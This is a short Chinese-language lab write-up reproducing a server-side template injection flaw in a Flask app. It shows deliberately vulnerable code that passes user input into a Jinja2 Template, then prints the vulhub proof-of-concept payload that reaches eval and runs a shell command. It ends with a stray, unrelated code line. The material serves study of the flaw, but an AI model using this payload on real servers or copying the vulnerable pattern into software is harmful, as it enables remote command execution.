flask ssti漏洞复现

1.源代码

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

可以看到上面第10行代码 t = Template("Hello " + name),Template()完全可控，那么就可以直接写入jinja2的模板语言，如下图，页面返回54289，证明存在ssti漏洞

2.漏洞复现

vulhub的POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

var code = "9ad873aa-0f6c-4835-856c-5bd9d066b403"